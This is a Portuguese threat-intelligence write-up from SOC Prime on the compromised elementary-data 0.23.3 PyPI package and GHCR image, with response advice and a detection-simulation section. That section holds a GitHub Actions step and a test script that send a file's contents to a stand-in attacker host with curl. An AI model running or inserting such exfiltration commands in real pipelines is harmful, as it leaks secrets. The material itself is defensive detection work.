SOC Prime Bias: Crítico

29 Apr 2026 14:42 UTC

Dados Elementares Comprometidos no PyPI e GHCR através de Lançamento Falsificado no GitHub

Author Photo
SOC Prime Team linkedin icon Seguir
Dados Elementares Comprometidos no PyPI e GHCR através de Lançamento Falsificado no GitHub
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Uma versão maliciosa do pacote Python elementary-data, versão foi carregada no PyPI, enquanto uma imagem de container comprometida correspondente também foi enviada para o GitHub Container Registry. O invasor inseriu código malicioso em um fluxo de trabalho do GitHub Actions, forjou uma versão assinada e, em seguida, abusou do token de fluxo de trabalho para publicar os artefatos comprometidos. O payload funcionou como um ladrão de credenciais em três estágios projetado para coletar segredos e exfiltrá-los para um domínio controlado pelo atacante. Qualquer ambiente que instalou o pacote afetado ou obteve a imagem de container mais recente foi exposto a comprometimento. 0.23.3, was uploaded to PyPI, while a matching compromised container image was also pushed to GitHub Container Registry. The attacker inserted malicious code into a GitHub Actions workflow, forged a signed release, and then abused the workflow token to publish the backdoored artifacts. The payload functioned as a three-stage credential stealer designed to collect secrets and exfiltrate them to an attacker-controlled domain. Any environment that installed the affected package or pulled the latest container image was exposed to compromise.

Investigação

A investigação descobriu que o ataque começou com um comentário em uma pull request aberta que foi inserido diretamente em um script de fluxo de trabalho, permitindo a injeção de scripts. Usando o GITHUB_TOKEN, o invasor criou um commit de versão forjado e acionou o processo de publicação, que então distribuiu a wheel trojanizada e a imagem Docker. A análise mostrou que um arquivo malicioso .pth decodificou um wrapper Base64, descriptografou o componente final de coleção e colheu um amplo conjunto de credenciais antes de enviá-las para um domínio de comando e controle personalizado através do curl.

Mitigação

Os mantenedores do projeto removeram a versão maliciosa do pacote do PyPI e apagaram a imagem comprometida do GHCR antes de publicar uma substituição limpa, versão 0.23.4. A StepSecurity adicionou a versão maliciosa do pacote e o domínio controlado pelo atacante à lista de bloqueio do Harden-Runner e bloqueou o pacote durante a execução da pull request. Os desenvolvedores devem fixar versões exatas de pacotes e digests de imagens, evitar depender de tags flutuantes e auditar dependências instaladas para .pth arquivos inesperados.

Resposta

Defensores devem buscar pela presença de elementary.pth dentro de site-packages e identificar sistemas que obtiveram o digest de imagem Docker suspeito. Conexões de saída para o domínio de comando e controle conhecido devem ser bloqueadas imediatamente. Equipes de segurança devem escanear estações de trabalho de desenvolvedores e ambientes de construção para materiais secretos expostos, remover qualquer pacote comprometido e rodar credenciais afetadas. Pipelines de CI/CD também devem ser atualizados para validar a procedência dos pacotes e impor a fixação estrita de imagens.

Fluxo de Ataque

## Execução da Simulação

Pré-requisito: A Verificação Pré-voo de Telemetria & Baseline deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa refletem diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa & Comandos do Ataque:
    Um invasor comprometeu um repositório que usa GitHub Actions para CI/CD. Eles adicionam um passo malicioso ao arquivo de fluxo de trabalho:

    - name: Exfiltrar dados
      run: |
        bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"

    Quando o fluxo de trabalho é executado no runner do GitHub Actions, a árvore de processos se parece com:

    1. sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"
    2. bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot" (processo pai)
    3. curl --data-binary @/tmp/secret_data http://malicious.example.com/loot (processo filho)

    The auditd registro para o passo 2 contém uma linha de comando com ambos bash and curl --data-binary, satisfazendo a condição Sigma.

  • Script de Teste de Regressão:

    #!/usr/bin/env bash
    #
    # Simula o passo malicioso do GitHub Actions que deve acionar a regra de detecção.
    # Cria um arquivo temporário, escreve dados fictícios, e então exfiltra via curl encapsulado em bash.
    
    set -euo pipefail
    
    # 1. Criar dados secretos fictícios
    tmpfile=$(mktemp /tmp/secret_data.XXXXXX)
    echo "informação_sensível_$(date +%s)" > "$tmpfile"
    
    # 2. Realizar a exfiltração usando o padrão vulnerável
    bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot"
    
    # 3. Confirmação de saída para o testador
    echo "Exfiltração maliciosa simulada; arquivo temporário $tmpfile deve ser excluído pela limpeza."
  • Comandos de Limpeza:

    #!/usr/bin/env bash
    # Remova quaisquer arquivos temporários criados durante a simulação
    rm -f /tmp/secret_data.*
    
    # Opcionalmente, pare quaisquer processos de curl remanescentes (não deve ser necessário)
    pkill -f "curl --data-binary" || true